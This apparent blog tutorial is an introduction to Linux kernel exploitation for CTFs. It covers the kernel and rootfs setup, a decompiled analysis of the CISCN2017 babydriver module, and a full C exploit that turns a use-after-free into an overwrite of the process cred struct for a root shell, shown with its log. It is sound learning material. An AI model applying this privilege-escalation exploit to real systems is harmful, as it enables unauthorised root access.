kernel pwn入门

kernel入门

自己的环境是16.04,出入kernel记录下,大佬勿喷。。

环境编译

下载kernel源代码:https://www.kernel.org/

按照必要的依赖

sudo apt-get update

sudo apt-get install build-essential libncurses5-dev

编译kernel源码

make menuconfig #遵循sakura大佬博客
#修改一些参数
进入kernel hacking
勾选以下项目
Kernel debugging
Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers
KGDB
(大部分是开着的,似乎后面几个选项有没开的

接着就是

make bzImage

编译的时间略有点长

Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready  (#1

出现这个就表示已经编译成功了。
因为是小白入坑教程,所以我想应该解释下什么是bzimage

vmlinux 编译出来的最原始的内核文件,未压缩。
zImage 是vmlinux经过gzip压缩后的文件。
bzImage bz表示“big zImage”

这样解释后应该清楚的多了。那么我们现在就已经有一个内核文件了,接下来创建文件系统。

编译busybox

(from sakura大佬 blog
wget https://busybox.net/downloads/busybox-1.27.2.tar.bz2
tar -jxvf busybox-1.27.2.tar.bz2
cd busybox-1.27.2
make menuconfig # Busybox Settings -> Build Options -> Build Busybox as a static binary
make install

在文件夹下会有_install文件

建立文件系统

cd _install
mkdir proc
mkdir sys
touch init
chmod +x init

写init文件

#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh

打包文件系统

#!/bin/sh
echo "Generate rootfs.img"
cd busybox # fs folder
find . | cpio -o --format=newc > ../rootfs.img

mount指令 挂载某个分区到某个文件,这样就将分区与文件建立联系从而访问文件时就可以访问分区。

以上参考:
Sakura大佬博客
501大佬博客

总结

关于这样的环境编译是为了大概理解一下为什么做题的时候会给3个文件.sh,bzimage,rootfs.cpio分别是启动脚本,kernel镜像以及文件系统映像。下面来分析一下具体的kernel题,主要注重在调试。

CISCN2017 - babydriver

讲到kernel pwn都会想到这个题目,那就分析一下这个题。题目文件有:

  1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
  2. bzImage: kernel binary
  3. rootfs.cpio: 文件系统映像

从上面看是没什么问题的,一般问题都会处在rootfs.cpio中的驱动上,这题也不例外,首先解包文件系统映像。

mkdir 随意什么名字下面用fs代替
mv ../rootfs.cpio ./
cpio -idmv < rootfs.cpio

这样就成功解包了,在查看init文件,因为这里会加载一些驱动,而驱动是出问题最大的地方。

cat init
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko#这里加载了驱动错意很可能是这里出了问题。
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

静态分析.ko文件

把文件拖到ida中查看。

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}
#简单的free函数
int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 37748928LL, v2);
  return 0;
}
#申请一块内存存放全局变量,并且定义device_bug_len为64.
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB, v3, v3);
    result = -22LL;
  }
  return result;
}
#定一个了一命令0x10001在这个命令下会释放babydev_struct.device_buf结构并且重新分配一个由用户定义其大小。
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}
#从这里看是从buffer赋值到全局变量。(这里有个坑,有时候ida分析的时候会出很多错误。)
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}
#与上面的操作正好相反。

主要的漏洞在条件竞争导致的一个UAF漏洞,因为babydev_struct 是全局的如果我们同时打开两个设备,然后释放第一个,其实第二个在编辑的时候就达到了一个uaf的作用。

重点:申请堆块的大小需要和cred结构体一样这样我们释放之后在fork一个进程其cred结构体会利用我们之前释放的

什么是cred结构体

是kernel中用来记录进程权限的,这个结构体中保存了该进程的权限等信息如(uid,gid)等,如果能修改这个结构体那么就修改了这个进程的权限。
源码

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

那么接下来就是exp的编写,这个题目本身比较简单所以不需要动态调试,注意exp需要静态编译。

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main()
{
	// 打开两次设备
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);

	// 修改结构体的大小为cred结构体的大小
	ioctl(fd1, 0x10001, 0x8a);

	// 释放 fd1
	close(fd1);

	// 新fork一个进程会复用之前所用的空间来储存cred结构体。
	int pid = fork();
	if(pid < 0)
	{
		puts("[*] error!");
		exit(0);
	}

	else if(pid == 0)
	{
		// uaf来更改结构体的值
	   char buf[28] = {0};
		write(fd2, buf, 28);

		if(getuid() == 0)
		{
			puts("[+] good-you-get-it");
			system("/bin/sh");
			exit(0);
		}
	}
	
	else
	{
		wait(NULL);
	}
	close(fd2);

	return 0;
}

然后静态编译exp,再重新打包文件

cp exp fs/tmp
find . | cpio -o --format=newc > rootfs.cpio
#替换掉之前的文件系统即可。

最后拿到root后的log

/ $ cd home/ctf/
~ $ ls
exp    exp.c
~ $ ./exp
[   14.687284] device open
[   14.691077] device open
[   14.693858] alloc done
[   14.697858] device release
[+] good-you-get-it.
/home/ctf # whoami
root

以上参考:
M4x大佬博客

总结

总体来说只是简单的介绍了一下,ctf环境等kernel pwn,其中bzimage的得到以及概念,还有文件映像的得到及使用。接着是一题简单uaf的练习。(大佬勿喷

你可能感兴趣的:(pwn)